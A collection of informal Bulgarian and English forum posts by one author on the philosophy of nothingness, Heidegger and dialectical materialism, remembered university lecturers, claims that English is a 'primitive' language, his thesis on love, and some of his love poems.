72. Ами интересни аналогии с музиката. Аз няма да ги коментирам, само ще използвам да съчетая нещата - в зависимост от това колко съм се наспал, какво съм пил и как съм се избръснал изглеждам различно. Общо-взето изглеждам така, както ще покажа на линка по-долу и обожавам музиката на народите от Индонезия до Чувашия, и от Якутия до Крим.
/Не ми е под ръка линка в момента, а и вече не горя от желание да се показвам./
(Аз, пеейки татарско-казахска песничка.)
73. "Поетически казано - това е нещо като върховно вътрешно движение, преодоляващо действието на външните сили; точно обратното на траекторията на падащ есенен лист, люшкан от случайните пориви на вятъра."
И в двата случая най-силното, което им въздейства в момента, ги командва.
Относно Хераклит - мда, много диалектика при него, много ми допада.
(Следва...)
-
74. "пиша неясно и => неразбрано"
В някои моменти, имах предвид. А и, то разбирането е нещо субективно, по-точно субектно (виждате ли, който има "Отличен 6" при Андонов как прави разлики между субектното и субективното... ех...)
"въпреки че всички ясни неща са най-неясни"
Това е оскиморон. Ясното е ясно, неясното е неясно. Аз разсъждавам с еквиваленции, за да съм адекватен.
"общото се явява предмет на всяка онтология."
Единично, особено, общо. Правилно!
"А без визиране на нищото - както и да се разбира то - остава безпочвено всяко умуване върху общото в качесвото му на всеобщо."
Не бих казал. Нищото е НАДЦЕНЕНО. Както без 0 (нула) може да се извършват един бюлюк математически действия, така и без особено взиране (или визиране) в нищото пак може да се прави великолепна онтология на всеобщото. Виж, примерно, Ленин. Доста по-напредничав и резултативен философ от Кант. Както и доста по-ясен. Не, че отричам историческите заслуги на Кант в 2-та му периода. (Докритически и Критически). /Може да видите мои по-наскорошни разсъждения за нищото: "едно голямо нищо" (http://www.seo-forum-seo-luntan.com/other-languages/a-a-a/msg31046/#msg31046)./
"Хайдегер си го е написал човека : Das Nichts ist ursprünglicher als das Nicht und die Verneinung.Die schlechthinnige Verneinung Der Allheit des Seienden-> Нищото е фундаментално отрицание на всеобщността на биващото.->нито унищожение,нито отрицание ,а изначално "онищяване" от страна на "самото нищо".->Das Nichts selbst nichtet."
Хайдегер се цитира често като ЛОЗУНГ и като ПОСЛЕДНА ИНСТАНЦИЯ. А аз като свободен човек и като философ твърдя, че Хайдегер не е "Алфата и Омегата", та подлежи на критика и/или отрицание. По същия начин по който може да се критикува и решението му да става съратник на нацизма.
Трябва да се гледа ценността/верността на нещата не от гледна точка на това дали са/не са казани от Мартин Хайдегер или Хо Ши Мин, а от гледна точка на това дали кореспондират, въобще, с някаква реалност. Иначе става догматизъм и религия, а не научност+философия.
75. Хераклит(-е), при Андонов проблемът е, че не прави някакъв уводен, ПОДГОТВИТЕЛЕН курс, където да обясни:
а) Какво изучава предметът му.
б) Какво означават (поне приблизително) няколкото десетки неологизми (нови думи, създадени от него или колегите му), които се употребяват по време на лекции и, които, въпреки индоевропейските си корени не говорят много на студентите. Т.е. необходимо е, ако иска да е не само ФИЛОСФСТВАЩ, но и ПРЕПОДАВАЩ да създаде необходимите АСОЦИАЦИИ, УСЛОВНИ РЕФЛЕКСИ в главите на тези, които учи, за да е сигурен, че като каже, примерно "НИЩУВАНЕ" и хората ще си мислят/представят/асоциират едно и също с това, което си мисли/представя/асоциира той.
Аз лично, добре че загрях след първите 2-3 лекции, че човекът преподава вид Диалектически материализъм. И с книжките на светилата Енгелс, Маркс, Ленин, Плеханов и пр. великолепно си изкарах и упражненията, и изпита при Андонов (С отличие!). Иначе имаше колеги, които до края не разбраха "Какво точно говори този?"...
И още Хераклит(-е) - много ми хареса, че и тебе те е "подразнило" словосъчетанието "да построиш свят"... АБСОЛЮТНО НЕПРАВОМЕРНО. Защо?
а) Светът е ДАДЕН-И-НАЛИЧЕН.
б) Светът, даже и да сте КРЕАЦИОНИСТИ, е вече "ПОСТРОЕН".
в) Строят се обекти, системи и какво ли не. Но да се построи свят е нещо неосъществимо. /Поне на съвременното ниво на науката. В бъдеще може и да заможе (да проможе) да се строят нови светове. :) Примерно да се направят Венера и/или Марс Земеподобни./
В този смисъл това е нищо повече от метафора... А това бие на литература. Колкото повече философията залита към литературното, а не към научното, толкова по-вероятни са неуспехите й.
76. "Нали Парменид бе казал, че има само битие а нищото съвсем го няма :)."
И добре е казал човекът, лека му пръст! Точно това е адеквация, еквиваления,...чисто-и-ясно, точно казване/твърдение.
"първо какво може да се извади от самото понятие"
Понятията трябва да се мислят лингвистично и исторически, както и психологично. А от понятието за "нищо" няма какво толкова да се извади, понеже то е "направено", за да не може да се вади от него нещо/неща. Т.е., за да запазим понятието чисто не трябва хич да го натоварваме с повече смисли, отколкото то вече си е побрало и, които вършат добра работа.
"Та с нищото яко трудно."
Това е изкуствено-създавана трудност. Просто понятието се изнасилва, а то си е толкова чисто, ясно и ненуждаещо се от допълнителни натоварвания,... иначе се стига до неверни твърдения.
Ще си позволя да дам за пример едно такова на човек, който много уважавам и обичам (колегата Николай Турлаков, с който учихме заедно почти 5 години), но, както самият той е казвал "Казването е над мене и, когато критикувате казването ми не ме критикувате мен!" (негова реплика до Анета Карагеоргиева, ако си спомням правилно името й).
Та значи този мой пример за добър човек и философ казва, че като се ТВОРИ, т.е. като се ПРОЯВЯВА ТВОРЧЕСТВО, като се СЪЗДАВА НЕЩО... Създателят/творецът правел нещата от нищо; нищото присъствало... (ЦИТАТ: "творецът стои в “нямащото го”".) А това не е вярно. Защо не е? Ами защото всеки творчески акт има БАЗА/БАЗИ... А те не са нищо. Примерно да се сътвори един роман трябват думи, асоциации, носители... т.е. все неща, в комбинацията от които възниква НОВОТО, СЪТВОРЕНОТО.
Така че творецът ХИЧ не стои в нямащото го, а си стои в (по-точно - "заедно с") ИМАЩИТЕ ГИ неща, та като направи малко комбинацийки на ИМАЩИТЕ ГИ и вземе, че излезне от труда му нещо НОВО. А това, че преди го е нямало НОВОТО, ИЗОБРЕТЕНОТО, СЪЗДАДЕНОТО, не значи, че е било НИЩО, а че е било просто нереализирано. ПОТЕНЦИЯТА/ВЪЗМОЖНОСТТА не е НИЩО.
77. Абсолютно вярно. Има си хора, които си изкарват хляба от това. И, примерно, каквото и да напишеш, то все се води философия и, все, предполагаемо, някой ще си купи малко от книжките ти... просто бизнес.
Ето аз, на прима виста, мога да напиша няколко неща, които ако се развият в концепция/система могат да претендират дори за Нобелова по литеаратура (нали няма по философия)..., но, някакси ми е останал морал и не искам да се ангажирам с глупости, в които не вярвам. Само да дам примера:
"Нищото е отрицание както на съществуващото, реалността, Битието и конкретните неща, така и на самото себе си. И като такова то е единствената категория, която тотално анихилира всичкото, тоталността, конкретностите и самата себе си. Ето защо в едина субординираност може да се каже, че тя стои не само над Битието като такова, но и над негови особени състояния като Хаоса, например..."
Както виждате локуми, безполезни и философоморфни могат да се пишат от всеки, но това просто е СИМУЛАКРУМ, приятели.
78. Хераклит, хареса ми, че скуошът е "тенис за бедни". :-D
Оставам с впечатлението, че за тебе нищото няма физично "проявление", а то има, според моите физически и космологични познания. Сега ми позволи да те просветля (т.е. да дам на теб едно САТОРИ, а на останалите, като по-западно ориентирани - ИНСАЙТ):
Значи, щом Вселената е КРАЙНА, НО РАЗШИРАВАЩА СЕ, то извън нея няма неща (нищо = нямане на неща). Тоест почвай да си представяш какво няма - няма интернет (кофти), няма жени (донякъде добре, донякъде също кофти), няма животни, растения, микроорганизми, молекули, атоми, елементарни частици... Следователно "в нищото" (извинявам се за некоректното казване) е голям мрак (няма даже фотони, които да правят светлина), тишина (няма звукови вълни)... абе, прилича си на някаква нирвана, да ти кажа... Така че във физически смисъл мозъците ни са достатъчно добре снабдени с мощ да си изведат някаква представа за това като как "изглежда" абсолютното отсъствие на неща, т.е. нищото. /Ето, даже по-късно го бях проилюстрирал това визуално и полумайтапчийски, на английски език, така: Картина на нищото (http://www.seo-forum-seo-luntan.com/philosophy/philosophical-fun/msg19242/#msg19242). :) /
(Следва...)
-
79. Относно "what does "Die Sprache spricht" mean? "
According to the St. Google Translator ;) it means "The language speaks"... But languages are "speaking" just by convention. No people = no language = no meaning,... i.e. every language is just a subjective tool for communication. The idioms are a very good&clear example of how subjective are the words, sentences and the implicated meanings in them.
By the way I really do not think that English is a well-developed language, but I can show you an example about a distinction (AXIOLOGICAL ONE!!!), which is impossible to find in Bulgarian:
1. WEALTH , 2. RICH (or RICHNESS).
80. Language is not becoming an object of language, but of SOME SCIENCE ABOUT THE LANGUAGE. Language, itself, is not a reflective, nor self-reflective... The THINKING is. Sure every tool can be an object of investigations.
There is no complex living entity of a language without alive people.
81. Николай е прав. Мисленето може да бъде всякакво. Вкл. и магическо мислене, шизофренно мислене,...практически всякакви ценности могат да бъдат образувани или самообразувани в главите на хората. /Под "самообразуване" в случая имам предвид нещата, които се появяват у различни хора под формата на сънища, халюцинации и т. н./
82. Ами не точно, просто един младеж, който се занимаваше с фитнес, във форум за БИ (Бойни изкуства) поддържаше и подкрепяше тезата, че било важно общото количество, което водело до еднакви резултати. Не съм изследвал подробно проблема. Баща ми пък - психиатър и бивш щангист твърди, че културистите правят по-големи мускули от щангистите, защото вдигат, примерно 10 000 пъти по 10 кила на ден, а не 20 пъти по 100 кг.
А китайките са си китайки. :)
Руслаките... Ах... Гошо беше влюбен в един симулакрум - Русалката Ариел, когато беше на 14 години някъде, докато по същото време негови по-приземени приятели си представяха някакъв си секс с Памела Андерсън... Така че щом е за русалка, предпочитам пред женски индивид. По-приказно и романтично е някакси. /Русалката Ариел аз си я намирам и досега много мила, красива, нежна, женствена и привлекателна./
"Възможно ли е Гошо да разбере Клео така както Клео го разбира?"
Да разбере какво? Хайде, приемаме че иде реч за разбиране на Х. Ами русалката би го разбрала моя Х един трильон пъти по-добре от някой, примерно, руски скинар, който дава изявление по телевизията в стил : "Вземете немеца... ами той, ако се роди в Русия даже няма да знае, че е немец. А негърът и да се роди в Русия цял живот ще ходи като маймуна и няма да може да се приспособи към бялото общество!" (това от истинско интервю е цитат). /Още си го спомням, беше на руски език./
"Ако е възможно, кои от изброените съвпадения са определящи, за да разберем сърцевината на това разбирателство?"
1. Езика. Щото, ако говорим на различни и нямаме преводач не става нищо.
2. Образованието. Най-малкото като заговоря за онтология тя няма да ми каже това, което ми каза последната (необразована) китайка, с която си направих труда да початя за онтология : "Като чета това и ми иде да умра!" :) /Давам пример с китайка, защото през голяма част от живота си живея в КНР и основно общувам с китайци и китайки./
3. Набора (донякъде), защото позволява повече общи асоциации и опит. Примерно - "Абе сладка си като чавдарче!" би проговорило нещо на 76 набор, ама не и на 90 (Аз и с такива си комуникирам, не съм ейджист ;) )... /Изключение правят заинтересуваните от история индивиди. Такива, при правилно учене, може да знаят повече за дадена епоха даже и от съвременниците й./
Общо взето това е.
82. Пак по разни английски думи. Да добавим малко повече знания.
"Wealth" може да се преведе като "благосъстояние".
"1. MIND и 2. CONSCIOUSNESS"
1. "Ум" AND 2. "Съзнание".
"You're always оn my mind!" (Elvis Presley) - "Винаги си ми в ума!" / "Не ми излизаш от ума!"
-WEALTH = обладание на ценности, не само материални.
-RICHNESS = превъзходство на даден индивид над болшинството от околните. /По-конкретни преводи - "имащо огромно количество от дадени неща, свойства и пр., които се харесват и/или са ценни на/за човек", "нещо биващо много дълбоко или силно, което се харесва на хората - напр. приятен глас, вкус, ухание"/.
83. "Умен" is not "Ум"/Mind/. "Умен" is "clever".
Whatever... The point is that English is really, really primitive, but the words /lexics/ are/is, sometimes, competitive.
84. About the primitivity of English - for example ONE AND THE SAME WORD can be:
- a noun
- an adjective
- a verb
This is a white paper. (noun)
That is a paper ball. (adjective)
Now I'm going to paper the window. (verb)
Really primitive. If you need more examples, I can go on.
-------
Well, I think УМ is a completely adequate (and enough) word for MIND. Even in some constructions like : "Don't mind it." ("Не си го слагай на ума."; "Не му забелязвай!"; "Да не ти пука!"...), MINDSET ("Установка на ума"), ...
85. "I cannot understand, for example, why the fact that the same word can be used as a noun, adjective, and a verb is viewed as a mark of primitivity. I could say, on the contrary, that it is a mark of economy and plasticity."
WOW! Come on! It was popular only in the original, first Indo-European languages, in Asia Minor... Mark of economy? LOL!... Not at all! Just mark of undeveloping language!... /По-скоро недотам "developed" в много отношения./
"I gave you some counterexamples against this claim: from Bulgarian word "УМ" we can produce the words "УМЕН" and "УМНИЦА", but from the English MIND we CANNOT produce any equivalent of "УМЕН" and "УМНИЦА"."
100% not correct! The producing of the words is not relevant to their internal and external meaning.
86. I don't know if she really wants it,... but,... for sure, she is a big fan of the English language and her online-behavior looks like some kind of fanaticism...
Well, I am really not familiar with the German stuff... but about the Bulgarian "ДУХ", I think SPIRIT is completely right. For example - "Holly Spirit" = "Св. Дух"... or just the common "TEAM SPIRIT"...
No matter... I am proud to be in touch with you, Comrade :) Turlakoff. (Best regards : Georgi "The Chinese" :) )...
87. Чисто логически и физически, според както ни е учил Диалмат-а : няма нищо странно и невъзможно в това да си провесиш краката в нищото. Все пак те са нещо. А време и пространство са само МЕРКИ. При положение, че Вселената постоянно се РАЗШИРАВА като НЕЩО, самото НИЩО не може да е никакво препятсвие човек да си простре ръцете, краката и пр.
СЕГА СЕ ИСКА ПОВИШЕНО ВНИМАНИЕ:
-Ти даже в среда, изпълнена с АТОМИ и МОЛЕКУЛИ (въздуха) нямаш проблеми да си поклатиш краката, а какво би ти попречило да си ги поклатиш в ОНОВА, което даже НЕ СЪДЪРЖА елементарни частици и вълни?!... В нищото е по-лесно, отколкото в нещото. :)
"Загледани напред"? Ами то има смисъл ДОНЯКЪДЕ... Щото напред е ТЪМНИЦА, ТИШИНА и пр., т.е. нищо. Нещо подобно на примера, че ако си на ЮЖНИЯ ПОЛЮС и всичко ти е СЕВЕР, без ЗАПАД и ИЗТОК, както и, обратно - ако си на СЕВЕРНИЯ ПОЛЮС всичко ти е ЮГ...
88. А аз те връщам към Бодрияр с любимите ми СИМУЛАКРУМИ и ти казвам да караш все в същия трезв и неизкушен от СИМУЛАЦИИ дух. :) /Дори в последствие създадох нещо допълнително по отношение на симулакрумите - който се интересува да види: Three-tier simulacrum (http://www.seo-forum-seo-luntan.com/philosophy/3-tier-simulacrum/)/.
89. Относно "хайванче" и мълчанието по темата за табутата като резултат.
Няма защо, мило! (*Мило, защото, по презумпция, A PRIORI, дадено хайванче няма как да не е мило, особено в очите на самотен, разведен ергенуващ нейде си в чужбина)... Колкото до мълчанието, при мен, то е, защото вече се изказах и ще се изкажа ОТНОВО:
-"НЕ!!!" НА ТАБУТАТА В НАУКАТА и ФИЛОСОФИЯТА! /Това е от 2009 година, де./
90. Относно един от любимите ми преподаватели - Валери Динев
Ейййййййй, сакън ва! Какво му е станало на Валерката?! Че аз си го обичах много. Даже ми беше научен ръководител на защитата на Дипломната ми "Върху отделните аспекти на любовта" през 2000-та!
Лекциите му бяха симпатични. Примерно:
- И се разхождам аз в зоопарка в Германския град Х и там гледам как една мъжка патица нарушава територията на друга. И собственикът на територията я подгони, клъвна я и паднаха две пера!... Ами и ние сме така, териториални животни сме!
Много весело, много достъпно и много информативно. В същото време също толкова полезни и информативни неща в лекции на неглупави хора като Андонов, Бояджиев и Герджиков остават напълно непонятни и недостъпни за повечето хора, защото те си говорят на техен си, индивидуално-субектен език и трудно ще седнат да УТОЧНЯТ ПОНЯТИЯТА.
Много бих се радвал на качена лекция на Валерката в Youtube, защото живея сега в чужбина и няма как да посещавам, а бих.
91. А, ами аз съм си искрен. Мда, ние сме така в нашия род, многостранни. Аз примерно съм философ-певец-каратист, а той е психиатър-акордионист-щангист... Но да не се хвалим. Колкото до онази конкретика, просто исках да кажа, че не съм запознат съвсем точно. А Фори си е интересно именце.
Оооо, Ленин и ОСОБЕНО Енгелс са много полезни. "Анти-Дюринг" е нещо, което горещо препоръчвам. Супер хумор и наука + диалектика вътре.
Сашо Андонов е по Диалектика, на която той си вика "Онтология" или "Диалектическа онтология". Та, както казах, много народ така и не влезна в час за какво става дума, но аз надуших овреме, че просто това неговото си е замаскирана Диалектика и като хванах Марксистко-ленинските "основи" - ЕДИНСТВО И БОРБА НА ПРОТИВОПОЛОЖНОСТИТЕ, ВЪЗМОЖНОСТ И ДЕЙСТВИТЕЛНОСТ, и пр., и да видиш как се ориентирах за отрицателно време, че даже и бях активен на упражненията. Единствената негация си ми остава това, че той не прави никакво интро /пропедевтика/ и народът се пули и гледа като отровен. Цитирам колежка:
"Два часа го слушам на тази лекция, хора,... и повярвайте ми, НИЩО НЕ МОГА ДА РАЗБЕРА!"
На една от лекциите също реши да присъства и един добър психолог, който по-късно май стана завеждащ на БЧК в София или от сорта - Данчо Еди-кой си... Та Данчо рече : "Много умен човек, но трябва да му се вникне във формата на мисленето, иначе никакво съдържание не може да се схване." /Това за БЧК-то го говореха негови познати/приятели, аз не съм сигурен, защото не знам от първа ръка какво се случи с този интересен и начетен психолог./
Забравил съм 4-тото?! :-о Хм... за татуировките ли става дума? Казано простичко - човек няма ли си акъл, ако ще и 50 татуировки да си направи, няма да му дойде акълът. Т.е. ирелевантни неща са това прически, татуировки...
Еееее, че как?! "Отл. 6" по диалектическа логика си е гордост и доказателство, че върха на философията е Диалматът. Дори Желю Желев е искал да бъде диалектически материалист-ревизионист, та редовно се е чепкал с Тодор Павлов.
" Колко мъже имат татуировка на пеперуда? "
Виж това не знам. Но мога да си послужа с един скеч за руско-татарския рапър Тимати (Тимур Ильдарович Юнусов), който осмиваха по следния начин:
- Тука ли се правят татуировки?
- Да, заповядайте.
- Добре, щото преди малко ме спря катаджията и ме глоби!
- Ама какво общо има тука катаджията?!
- Ами аз винаги отразявам по-важните събития от живота си на тялото си с татуировка.
- А какво е това?
- Ах, това е първата ми. Можете да я прочетете.
-"Трябва да ви напомня, уважаеми родители, че още не сте платили таксата на детето за детската градина!" ОЛЕЛЕ! ТАЗИ УЧИТЕЛКА Е БИЛА ИЗРОД! ТАКА ДА ИЗДЕВАТЕЛСТВА ВЪРХУ ДЕТСКОТО ВИ ТЯЛО!
- А, не, тя просто беше ядосана и така натискаше химикалката, че си останаха следи за цял живот. Но, прочетете и втората ми татуировка!
-"ИЗВИНЯВАМЕ СЕ ЗА ЗАКЪСНЕНИЕТО, ДРУГАТА СЕДМИЦА ЩЕ ДОНЕСЕМ ПАРИТЕ ЗА ТАКСАТА НА ДЕТЕТО СИ!"...
:)
Русалката си има капацитет, да. А разбирането е най-трудното нещо, както е казал Хабермас. ЮРГЕН ХАБЕРМАС.
Послеслов : Ех, стоя и си мисля - колко съм умен! Даже и Хабермас прилагам в поста си (да не говорим, че му знам и първото име!)... Както казваше баба ми "Толкоз много мозък къде го побираш в тази глава? Скоро ще вземе да ти излиза през ушите!"...
(Следва...)
-
92. About /Why do I think so, it's "far from obvious"/
I already told you. It is an UNDEVELOPED language. Sounds like some 2-3 years old Bulgarian person. Let me illustrate it very OBVIOUS:
1) I water the flowers.
"Аз вода цветята." (Аз поливам цветята.)
2) I drink, you drink, we drink...
"Аз пие, ти пие, ние пие..." (Аз пия, ти пиеш, ние пием...)
3) He-wolf, She-wolf
"Той-вълк, Тя-вълк" (Вълк, Вълчица)
93. My arguments are very good, but you do not like to accept it. Your rejection is not logical, but emotional. It is the type : "So what?!"... Not working.
The initiation of the forum in English, in Projectoria is useful, because Google ads can bring some more profits here. Also it can attract some foreign philosophers, due to Google, Yahoo, Baidu, etc. search engines. /From 2009. От 2009./
94. "To call "primitive" anything that is different from what you have adjusted to is not clever at all."
Yes. But I am calling it primitive, not because it is different, but because it is primitive. And I gave good examples.
"If we decide to follow this line, the natives of any language will have reasons to proclaim all other languages "primitive"."
Not everyone. Only these who are using one and the same words as noun, verb, adjective + have no genders, etc.
"For example, we Bulgarians could say that Russian is primitive because in this language there is only one past tense form. Russians, on their own part, may say that Bulgarian and Dutch are primitive languages because they lack cases (падежи) and so on."
Bulgarian lack cases (падежи)?! There are 3 cases in the Bulgarian.
95. С удоволствие. Много ще съм откровен в професионален и личен план. И ще започна със следното интро :
1. 107 страници написах, при задължителни 60. 2 години я писах, за да дочакам един нов закон за казармата и успях. /Алтернативната военна служба, защото нямах намерение да служа с оръжие; а и по-късно въобще се отказах да служа, когато ми стана ясно, че България ще влиза в НАТО. Не обичам НАТО!/
2. Получих 5.50, заради пропуск, който ми изнамери някакъв си екзистенциалист-католик професор Калчев, представяте ли си? Вика човека така:
- Но при Вас няма нищо в тази дипломна работа за ОТГОВОРНОСТТА!!! Знаете ли, че без отговорност любовта е невъзможна?
И аз тогава си помислих, че това е несъществено, но... стигаме до :
3. Години по-късно се ожених и разведох с китайка. Беше и си остава безотговорна! Та В ЛИЧНИЯ СИ ОПИТ и, ако щете, в НАГЛЕДА СИ разбрах колко е прав Калчев...
Като става дума за Калчев, човекът е намалил оценка и на друг мой колега, който се е явил с дипломна "Върху отделните аспекти на сексуалността." със следния мотив:
- КОЛЕГА, Вие как може да не споменете НИЩО за отношението на Папата по въпроса за сексуалността? /Това така ми беше разказано, не съм присъствал на защитата на въпросния колега./
Тепърва ще има да разбирам и що за пропуск е това. Вече за отговорността, няма как, съгласен съм.
4. По темата тезата ми е следната, вкратце:
4.1. Любовта при хората е многопластова и многоаспектна, както самия човек.
4.2. Има различни нива, както и самия човек - физическо, химическо, био-химическо, психологическо, социално.
4.3. Ако няма отговорност, въобще никаква любов няма да се получи. (Това вече съм го "ъпгрейднал" в опита си, макар и да го няма в Дипломната ми).
4.4. Много важно е да се разграничат 3 пласта - ЕМОЦИОНАЛЕН (Влюбен съм в тебе, макар и да не те познавам добре!), СЕКСУАЛЕН (Искам да се "изтаковаме" много!) и ДУХОВЕН (Обичам те, заради това, което си! /Което мисля, че си; което се надявам, че си.../)... Т.е. ВЛЮБЕНОСТ, СЕКСУАЛНО ВЛЕЧЕНИЕ /либидо; нагон/, ОБИЧ. Тези трите дават за мене истинската любов. А само с 1 или 2 от тях любовта не е възможна като такава. (Половинчата, непълноценна любов; "недолюбов".)
Надявам се да съм бил полезен с тези мои открития. Помнете - ВЛЮБЕНОСТ+СЕКСУАЛНОСТ+ОБИЧ = ЛЮБОВ. Това е. И... няма ли отговорност, отиде коня у реката! /Всичко се разваля./...
96. Yes, you got it!!! Primitive = EASY-TO-LEARN! The same as "0 and 1"...
Do you know which languages in the Indo-European family used one and the same words for everything? Only the most ancient and primitive ones in Asia Minor. /as far as I knew/ English is a primitive and undeveloped in many aspects. But I do agree with you about it is okay for scientific communications, because of its:
-Greek
-Latin
-French and other FOREIGN words.
In the same time Chinese which is much more primitive even than English (as far as in Chinese there is even no PLURAL, for example : 许多树 (Сю-дуо шу ) means in Bulgarian "Много дърво",... something like Едно дърво, две дърво, три дърво... or един кон, две кон, три кон)..., but, AT LEAST, there is high-level of purism. I mean for example in Chinese, USING NATIVE CHINESE WORDS, you're able to translate Kant in a very clear way. My ex-wife read a Kant's book in Chinese. In the same time the English translation of Kant's works is full of FOREIGN words...
97. В такива случаи, ще се позова на бивш приятел юрист-политолог и любител теолог, се казва БЕЗАДРЕСНА ПСУВНЯ. Веднъж той рече "&%*$^#(" /изпсува на майка/ и допълни - "Безадресно!".
98. Анджък! Тъкмо, преди малко в пост в английската част обяснявах, че в китайския няма множествено число (всъщност има само за хора, но се прилага ограничено). Така че на китайски ще е неправомерно да се напише "нещо" в множествено число. Да речем, ако искаш да кажеш, че има много шишета в стаята казваш "Много шише има в стаята!" и хората се досещат, че не е само едно. Друго нямам какво да допълня от личния си опит.
Иначе по отношение на нищото, не може да е МНОЖЕСТВЕНО, защото 0+0=0. Също така, както и да го "въртиш" 0+0+0+0+0=0... Все си е 0 (нула). "Нула" значи "нищо". В този смисъл "НИЩА" не е нищо повече от НЕОЛОГИЗЪМ и то ШИЗОФРЕНЕН (НАЛУДНИЧАВ), т.е. такъв без никаква философско-научна стойност. /Не казвам, че дебат за единичност или множественост на нищото би бил съвсем безсмислен, но все така ми се струва "резоньорски", като резоньорство./
99. "Едно философско понятие може да се опише или изрази с толкова думи, колкото е необходимо - в зависимост от конкретните възможности на даден език. "
Много добре казано! Nota bene. :) (N.B.! https://en.wikipedia.org/wiki/Nota_bene (https://en.wikipedia.org/wiki/Nota_bene))
100. "Философстването е опериране с такива понятия, чрез които може да се изрази философска мисъл. Не е подреждане на думи, още по-малко извличане на съдържание от думи."
Точно така. Ето защо ме дразнеха хора като Иван Колев, които хващат някаква СЛАВЯНСКА (българска) дума и от нея извеждат съдържания, ВСЕОБЩИ и ЗАДЪЛЖИТЕЛНИ. Примерно УЧУДВАНЕ = У ЧУДОТО = В ЧУДОТО... Мале, мале!... И това без съпоставка с други езици, където да се учудиш въобще не е свързано да си В/ВЪВ (ВЪТРЕ) в каквото и да било... /Например "Чудя се." на китайски се превежда основно като "我想知道" - "Уо сиян джъдао. = "Аз искам да знам."/
101. Ваня аз вече изгубих представа, понятие и хабер (аз съм един от малкото философи, които си служат и с турско-философски понятия, което ме прави уникален, донякъде!) с русалка ли си приказвам, с Ваня ли или с русалката Ваня... Обаче, това му е хубаво на философа, че ВЪОБЩЕ НЕ МУ ПУКА с кой си говори, А МУ ПУКА какво се говори. В този смисъл - няма проблеми, всичко е наред. Колкото до русалките, аз като специалист по темата да кажа, че то има и мъжки! Честна дума! Който не вярва да гледа "Малката русалка" (Ариел) и да вникне обстойно в образа на баща й - такъв голям, едър... РУСАЛ (?)... Това ми напомня и разговор с едно момиче, което ме питаше а как е фея в мъжки род, та стигнахме до единодушния извод, че няма как да е друго освен "фей" (в зависимост от изпитите бири може да възникне и формата "фейчо", примерно... ) /Това за майтап написано./
Друго важно за отбелязване е, че като говорим с тебе, нещата, които пишем са така безинтересни за по-строгите философстващи философи, че едва ли някой ще прочете какво пишем, което ме кара да се чувствам уютно, но и ОТГОВОРНО (ех, Калчев, Калчев...), за да може, ако, случайно и някой друг се е излъгал да чете какво пиша, да си каже после - "Ей, бати Гошко хубави неща говори, чувствам се по-умен с поне 1 % отколкото преди да му изчета поста!"...
Та, да, каквито са хората, личностите, такава е и любовта. Аз даже имах изведена теза, че в ЛЮБОВТА КАТО С ЛУПА СЕ УВЕЛИЧАВАТ ВСИЧКИ ПРЕДИМСТВА И НЕДОСТАТЪЦИ - добрите стават по-добри, лошите по-лоши и пр. Засилват се способностите. Примерно аз съм не само много добър философ (макар някои да го оспорват), но и супер-добър поет (досега никой не го е успорил). В този смисъл съм забелязал, че като не съм влюбен пиша хубави, технически-издържани стихове, а като съм влюбен пиша прекрасни. Да взема да споделя един от най-прекрасните си, макар и не най-технически издържаните. По принцип съм известен най-вече с него и даже за моя радост, и гордост честичко гледам някой младеж го крадва, за да го прати в някое мейлче. Интересното е, когато на мене ми се прати мой стих в обяснение в любов. Радвам се, ако си признават, че "не знам кой го е писал, но...", а не казват "виж какво написах за тебе преди 2 минутки!" Та ето го:
"Не смея да ти кажа аз "Обичам те!", защото слаби думи са за чувството у мен!
Не смея да целуна устните ти пламенни, защото моите не ще покажат огъня във мен!
Не смея със ръце да те прегърна, прегръдките не ще покажат сладкия ми плен!
ОЧИ ОТ ТВОИТЕ АЗ БЪРЗО ЩЕ ОТВЪРНА, но ще горя, макар отвън да съм студен...
А толкова ще искам да те имам,
В сърцето ти да бъда твой, един!
И ти да бъдеш моята принцеса,
А аз - твой верен ангел-Херувим!"
А ето и едно, което още не е толкова популярно, но и то ще стане :
"Сега мълча, но те обичам!
С мълчание в Любов горя...
Без думички сърце обича,
А аз не мога да го спра.
Аз искам ВИНАГИ да имам
Красива, нежна и добра,
Магическа, вълшебна дума,
С която аз да те даря!
Но нямам... само тишината
Е моя спътница в нощта
И аз мълча, но в тъмнината
Ти казвам хиляди неща."
Сега да кажа какво си мисля по твоите аспектности:
а) Самотата... Ами то е нещо като ОСЪЗНАТА НУЖДА... Има си хора, дето не си я осъзнават, както и такива единици, които хич и нямат нужди от присъствие на някой си/някоя си.
"много хубаво си го обяснил Dalai в темата за “нищото”...- за “творецът” във възможност, който е “в” нищото и съ-творява."
Аааааа, не, не! Това е тезата на Турлаков, аз просто я цитирах и застанах срещу нея. За мене творецът не е в нищо, а "в" и "с" доста неща + "в" и "с" възможности. А нещата и възможностите не са нищо. Малко ме накара да се чувствам като през 1996, когато изнесох политическа реч на Бабуната в Южен парк, след което при мене дойдоха комунистите на Спасов и ме похвалиха, че съм истински комунист (това гот!), след това, обаче, дойде някакъв лидер на АНАРХИСТИТЕ и каза, че съм бил много ИСТИНСКИ анархист! И това ме изненада. Та и ти така - добре ме хвалиш, ама да кажеш, че аз съм рекъл, че някой е в нищото не ми звучи добре. Много съм против надценяването на нищото, още по-малко бих приел някой да е в него. :)
"Различното в любовта е, че това “случване във възможност” е към (с) друг човек.
Не просто е различно, а е трудно."
Правилно. Аз през 1999 водих предаване за любовта по частна, ефирна телевизия, в Плевен (едновременно си пишех диппломната работа и правех сценарии от всяка нейна глава за предаването, та и пари вземах - находчиво!) и един от интервюираните рече:
"Любовта е двустранен процес и едностранно е трудно!" Евалла!
"когато си влюбен, но не ме познаваш добре. Ами на мен ми звучи добре така като си го чета. Да, супер ми е."
Ама хич не е добре да ти кажа. И се позовавам на Ленин с неговите нива на познание от първа, втора, трета и пр. величина (порядък). Повърхностното впечатление прави просто влюбване, а то не е любов, защото се базира на илюзорности и НЕ ТРАЕ дълго. /По принцип./
Това дали някой има кола или не, е много задължително, за да бъде обект на любов, така ли? :D:D:D... Надявам се да се шегуваш. Не, че нещо, но бракът по сметка, някакси, не се връзва с любовта по определение.
